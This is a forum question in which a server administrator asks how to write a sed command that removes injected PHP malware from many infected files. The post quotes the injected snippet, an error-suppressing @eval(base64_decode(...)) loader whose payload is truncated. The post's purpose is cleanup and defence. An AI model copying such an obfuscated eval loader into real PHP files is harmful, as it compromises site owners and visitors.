Im looking around to clean a massive php attack with malicious code from one of our servers, and Im having problems around the complexity to find the correct path to search and replace text. Looking around I found how all php files has this code
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
When I try to use sed command I can't remove all code, because some php files has other code in the first line, and only removing first line is not a solution.
First I create the file with infected files:
grep 'ZXJyb3JfcmVwb3J0aW5nKDApOwppZ' ./ -Rl > infected.txt
using;
for hackFile in `cat infected.txt`; do sed -i 's#<?php *ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>##' $hackFile; done
I finish the loop to remove all infected files, but for all special characters produce errors all the time and I can't find the exact filter. Somebody can help me to do the correct sed filter? Other tests
for hackFile in `cat infected.txt`; do sed -i 's/<?php*ZXJyb3JfcmVwb3J0aW5nKDApOwppZ* ?>//g'
I don't know how to filter special characters like / or *
To put and example, some php files appears starting the first line with
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?>
And I can remove directly the line. But exist other case:
<?php /*947353*/ error_reporting(0); @ini_set('error_log',NULL);
@ini_set('log_errors',0); @ini_set('display_errors','Off'); @eval(
base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOwppZighJGtqZGtlX2MpIH...PSdjb25kdGlvbnM9MjsgcGF0aD0vOyBleHBpcmVzPSIuZGF0ZSgnRCwgZC1NLVkgSDppOnMnLHRpbWUoKSsxNzI4MDApLiIgR01UOyc7PC9zY3JpcHQ+IjsgfSA7fTsKfQp9'));
@ini_restore('error_log'); @ini_restore('display_errors'); /*947354*/ ?> <?php
And exist the possibility to have a php file with more code in the first line not finishing only in "
So, I need to remove the code, not replace for any character, and not affecting the rest of the line. I saw the form to remove with sed the line completely, but I'm looking only the code inserted being the pattern
Obviously we are debugging to stop future attacks, but first I need to clean the code to restart the website.
If someone is curios I can send the decoded code too.
Thanks